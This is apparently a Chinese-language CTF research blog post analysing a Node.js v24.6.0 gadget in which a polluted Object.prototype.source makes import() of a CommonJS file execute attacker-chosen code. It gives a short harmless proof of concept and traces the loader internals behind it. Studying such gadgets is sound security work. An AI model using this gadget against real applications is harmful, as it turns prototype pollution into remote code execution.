Node.js v24.6.0 原型链污染 RCE Gadget 分析
2025-08-21|CTF

TL;DR

Node.js v24.6.0(当前最新版)及以前部分版本中(未完全测试),package.json 中的 type 字段为 "commonjs" 或 "module" 时,以下代码可 RCE

Object.prototype.source = "console.log('Code executed')"
import("./a.js")

没有 package.json 文件、不指定 type 字段或 type 字段为其他值时,导入 cjs 也可触发

Object.prototype.source = "console.log('Code executed')"
import("./a.cjs")

a.jsa.cjs 中原本的代码不会被执行。

仅 ESM 方式加载可触发(即 import

DEBUG

以导入 a.jstype: "commonjs" 为例。

创建代码并调试:

# 为了看到执行 source 代码时的调用栈
echo 'Object.prototype.source = "throw Error()"' > index.js
echo "import('./a.js')" >> index.js
echo "console.log(2)" > a.js
npm init -y

# 或者 VSCode 中直接运行 RUN AND DEBUG
node --inspect-brk index.js

打断点 Step Into 几次,发现在 import 后调试器的 a.js 内容变成了 source 值。

image-20250821140136572

调试时建议把 launch.jsonskipFiles 字段的数组值置空(如果没有这个字段就加上 "skipFiles": []),不然 Step 的时候中间不停,只会在断点停。

"skipFiles": [
    "<node_internals>/**"
]

从 sink 点看起

抛出异常后看调用栈:

Error
    at Object.<anonymous> (/private/tmp/test/a.js:1:7)
    at loadCJSModule (node:internal/modules/esm/translators:167:3)
    at ModuleWrap.<anonymous> (node:internal/modules/esm/translators:209:7)
    at ModuleJob.run (node:internal/modules/esm/module_job:371:25)
    at async onImport.tracePromise.__proto__ (node:internal/modules/esm/loader:669:26)

所以需要观察更多在 node 内部模块的细节。

把抛出异常改成正常代码,加一行任意代码并打断点(使用 .then 是因为 import 是异步执行的,保证调试器停在 import 之后)。

Object.prototype.source = "console.log(1)"
import('./a.js').then(() => {
    1 // 这行打断点
})

开启调试,在 LOADED SCRIPTS 里面找到相应模块(node:internal/modules/esm/translators:167:3),给这个函数打断点

image-20250821160856847

再次运行调试,调试器就可以停在这里了。此时当前作用域的变量:

image-20250821160953379

这个 loadCJSModule 函数的作用是通过现代 ESM 加载器来加载和执行一个传统的 CommonJS 模块。

简单来说,先将原始的编译 CJS 代码(source) 编译成包装器函数(compiledWrapper),接着获取 ESM 加载器实例,再创建一个自定义的 require 函数,最后在这行执行模块代码:

  ReflectApply(compiledWrapper, module.exports,
               [module.exports, requireFn, module, filename, __dirname]);

ReflectApply 会调用第一步中编译好的包装器函数 (compiledWrapper)。它将 CJS 环境所需的五个关键参数传递进去:

  • module.exports:模块的导出对象,初始为空对象 {}
  • requireFn:刚刚创建的那个自定义 require 函数
  • module:对模块自身的引用
  • filename:模块的绝对路径
  • __dirname:模块所在目录的绝对路径

CJS 模块的代码并不是直接执行的。Node.js 会把它包裹在一个函数里,称为模块包装器 (Module Wrapper)。这个包装器函数提供了几个 CJS 中全局可用的变量:exports, require, module, __filename, __dirname

另外还要注意一个点:

setOwnProperty(module, 'loaded', true);

这行会将模块标记为已加载,其他文件再 require 的时候就会直接从缓存中返回上一次执行得到的 module.exports,不会重复执行整个编译和运行过程。所以对于导入同一模块,这个 RCE Gadget 在进程的生命周期内只能用一次。

此时 source 的值就是 Object.ptototype.source 的值(下图是运行到 ReflectApply 时作用域的变量)

image-20250821161734589

调试器停在 loadCJSModule 开头时,从调用栈往前一步找到调用这个函数的地方。source 来自 createCJSModuleWrap 的参数

image-20250821163523051

然而调用栈再往前是 ModuleJob.run (<node_internals>/internal/modules/esm/module_job:371)

async run(isEntryPoint = false) {
  debug('ModuleJob.run()', this.module);
  assert(this.phase === kEvaluationPhase);
  await this.#instantiate();
  if (isEntryPoint) {
    globalThis[entry_point_module_private_symbol] = this.module;
  }
  const timeout = -1;
  const breakOnSigint = false;
  setHasStartedUserESMExecution();
  try {
    await this.module.evaluate(timeout, breakOnSigint);
  } catch (e) {
    explainCommonJSGlobalLikeNotDefinedError(e, this.module.url, this.module.hasTopLevelAwait());
    throw e;
  }
  return { __proto__: null, module: this.module };
}

关于这个 run 方法,import() 调用启动了 Node.js 内部的 ESM 加载流程,并创建了一个 ModuleJob 来处理这个任务,调用 ModuleJob.run() 来运行这个任务。具体细节涉及到 EMS 层到 CommonJS 层的转换,这里不过多说明细节。

再往前就直接是 import 方法了:

async import(specifier, parentURL, importAttributes, phase = kEvaluationPhase, isEntryPoint = false) {
  return onImport.tracePromise(async () => {
    const moduleJob = await this.getModuleJobForImport(specifier, parentURL, importAttributes,
                                                       phase);
    if (phase === kSourcePhase) {
      const module = await moduleJob.modulePromise;
      return module.getModuleSourceObject();
    }
    const { module } = await moduleJob.run(isEntryPoint);
    return module.getNamespace();
  }, {
    __proto__: null,
    parentURL,
    url: specifier,
  });
}

这里有 async/await, 中间一些异步方法调用比如 getModuleJobForImport 被调试器隐藏掉了。跟进 getModuleJobForImport,给这个方法打断点,再次启动调试。

在断点处走了一会,来到 loadAndTranslate 函数,看到了一个 source 属性获取:

  /**
   * Load a module and translate it into a ModuleWrap for ordinary imported ESM.
   * This is run asynchronously.
   * @param {string} url URL of the module to be translated.
   * @param {object} loadContext See {@link load}
   * @param {boolean} isMain Whether the module to be translated is the entry point.
   * @returns {Promise<ModuleWrap>}
   */
  async loadAndTranslate(url, loadContext, isMain) {
    const { format, source } = await this.load(url, loadContext);
    return this.#translate(url, format, source, isMain);
  }

步入 load 方法

load(url, context) {
  if (loadHooks.length) {
    // Has module.registerHooks() hooks, use the synchronous variant that can handle both hooks.
    return this.#loadSync(url, context);
  }
  if (this.#customizations) {
    return this.#customizations.load(url, context);
  }

  defaultLoad ??= require('internal/modules/esm/load').defaultLoad;
  return defaultLoad(url, context);
}

步入 defaultLoad 方法

function defaultLoad(url, context = kEmptyObject) {
  let responseURL = url;
  let {
    importAttributes,
    format,
    source,
  } = context;

  if (importAttributes == null && !('importAttributes' in context) && 'importAssertions' in context) {
    emitImportAssertionWarning();
    importAttributes = context.importAssertions;
    // Alias `importAssertions` to `importAttributes`
    context = {
      ...context,
      importAttributes,
    };
  }

  const urlInstance = new URL(url);

  throwIfUnsupportedURLScheme(urlInstance);

  if (urlInstance.protocol === 'node:') {
    source = null;
    format ??= 'builtin';
  } else if (format === 'addon') {
    // Skip loading addon file content. It must be loaded with dlopen from file system.
    source = null;
  } else if (format !== 'commonjs') {
    if (source == null) {
      ({ responseURL, source } = getSourceSync(urlInstance, context));
      context = { __proto__: context, source };
    }

    if (format == null) {
      // Now that we have the source for the module, run `defaultGetFormat` to detect its format.
      format = defaultGetFormat(urlInstance, context);

      if (format === 'commonjs') {
        // For backward compatibility reasons, we need to discard the source in
        // order for the CJS loader to re-fetch it.
        source = null;
      }
    }
  }

  validateAttributes(url, format, importAttributes);

  return {
    __proto__: null,
    format,
    responseURL,
    source,
  };
}

可以看到这里从 context 对象中解构出 source 变量。context 对象当然没有 source 属性。这个 context 对象在 #createModuleJob 方法中是这样创建出来的:const context = { format, importAttributes };,然后传入 loadAndTranslate 方法,再到 load 方法,最后在 defaultLoad 方法中被解构,中途没有修改,所以就把 Object.prototype.source 取出来了。

source 变量不为 null,所以也就跳过了 getSourceSync,没有从被加载的模块中获取。

defaultLoad 方法中,source 有被修改成 null 的机会。幸运的是我们的 format 属性是 'commonjs',因此避开了上面这些 if 分支。source 被原封不动地放到一个对象中返回,最后回到 loadAndTranslate 被解构出来传给 #translate 方法。

这个 format 属性的值是在 <node_internals>/internal/modules/ems/get_format 中的 getFileProtocolModuleFormat 方法调用另一个方法从 package.json 中的 type 字段获取的:

image-20250821212926312

#translate 方法是 Nodejs 以 ESM 形式加载模块时用到的,它把一段模块源码交给对应的翻译器,生成一个 ModuleWrap(模块包装对象)

然后在这段代码,source 被交给了 createCJSModuleWrap 方法

// Handle CommonJS modules referenced by `import` statements or expressions,
// or as the initial entry point when the ESM loader handles a CommonJS entry.
translators.set('commonjs', function commonjsStrategy(url, source, isMain) {
  if (!cjsParse) {
    initCJSParseSync();
  }

  // For backward-compatibility, it's possible to return a nullish value for
  // CJS source associated with a file: URL. In this case, the source is
  // obtained by calling the monkey-patchable CJS loader.
  const cjsLoader = source == null ? (module, source, url, filename, isMain) => {
    assert(module === CJSModule._cache[filename]);
    wrapModuleLoad(filename, undefined, isMain);
  } : loadCJSModule;

  try {
    // We still need to read the FS to detect the exports.
    source ??= readFileSync(new URL(url), 'utf8');
  } catch {
    // Continue regardless of error.
  }
  return createCJSModuleWrap(url, source, isMain, 'commonjs', cjsLoader);
});

接着就是前面说的代码执行了。

补充

一些粗略的解释:

  • 为什么 require 不行: require() 时会走纯 CJS 加载器,会自己读文件,不用 context.source,也不用翻译
  • 为什么 type 字段为 "module" 也能触发:表示解析 .js 为 EMS 模块,最终运行起来也要通过一层翻译。

参考:

https://hackmd.io/PSMkKeEgS-GzWNHkrZfbrQ

https://nodejs.org/api/esm.html